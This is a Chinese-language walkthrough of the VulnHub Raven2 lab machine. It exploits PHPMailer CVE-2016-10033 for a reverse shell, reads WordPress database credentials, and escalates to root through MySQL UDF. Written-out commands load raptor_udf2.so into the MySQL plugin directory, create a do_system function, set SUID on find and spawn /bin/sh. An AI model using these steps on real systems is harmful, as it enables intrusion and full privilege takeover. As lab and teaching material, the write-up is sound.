這是vulnhub靶機系列文章的第四篇,本次的靶機感覺還是挺有趣的,學到的重要知識點為linux下-mysql的udf提權以及某cms的漏洞getshell,開始吧...
靶機下載鏈接:https://download.vulnhub.com/raven/Raven2.ova
#001 環境搭建(nat)
攻擊機kali:192.168.136.129
靶機Raven2:192.168.136.140
#002 實戰writeup
尋找靶機ip,netdiscover -i eth0,找到靶機ip為192.168.136.140
Nmap掃描靶機端口情況,看到開放了22,80,111端口
從web端下手,訪問80端口,發現是wordpress搭建的博客頁面,先不急用wpscan掃,跑一下目錄,看下有沒有其他發現,發現了img和vendor目錄,img目錄存放的博客的圖片,感覺沒啥用..
訪問http://192.168.136.140/vendor/目錄發現了phpmailer,由於沒見過這玩意就百度了一波
查看到版本為5.2.16,查找一下有沒有歷史漏洞,找到了遠程代碼執行漏洞,並且可以getshell,漏洞編號為CVE-2016-10033
漏洞影響范圍WordPress、Drupal、1CRM、Joomla!等使用了PHPMailer的開源CMS
PHPMailer < 5.2.18
用kali的searchsploit phpmailer,不得不說真的方便,找到幾個可以的利用exp,
這里使用py的exp腳本
Locate一下exp的位置,然后復制到當前目錄
#003 利用腳本getshell
到https://www.exploit-db.com/exploits/40974查看了腳本使用方法,發現需要修改腳本的幾個參數
修改腳本,執行攻擊,首先找到網站發郵件的地方
修改以下的地方,然后python執行腳本,如果報錯,加上utf8的編碼頭部
然后執行腳本,出現以下頁面代表執行成功
Kali開啟監聽6666端口,瀏覽器訪問a.php文件,成功getshell,python一句話轉為標准終端,查看權限為網站用戶權限,需要提權
#004 提權操作
查看目錄下有wordpress文件,因為wordpress搭建網站肯定有數據庫配置文件的,通過它尋找數據庫賬號密碼
Cat 查看配置文件信息,發現了數據庫的賬號密碼,並且為root,可以嘗試利用udf提權
首先kali編譯好.so文件,把udf文件放到kali網站根目錄下,然后靶機利用wget下載
登陸到mysql命令行,mysql -u root -p,然后輸入密碼登陸進mysql命令行
udf提權步驟,首先查看有哪些數據庫,並把.so文件導入到mysql的plugin目錄下,和windows下類似
use mysql create table foo(line blob);
insert into foo values(load_file(‘/var/www/html/raptor_udf2.so’)); select * from foo into dumpfile ‘/usr/lib/mysql/plugin/udf.so’; create function do_system returns integer soname ‘udf.so’;
利用創建出來的函數執行命令,給find加上s權限,目的是想利用find的suid提權,方便
select do_system('chmod u+s /usr/bin/find');
然后利用find / -exec "/bin/sh" \;提權,whoami查看成功提權到root
#006 總結歸納
phpmailer遠程代碼執行漏洞利用py腳本getshell
wordpress數據庫配置文件查找賬號密碼
mysql udf提權(linux)的利用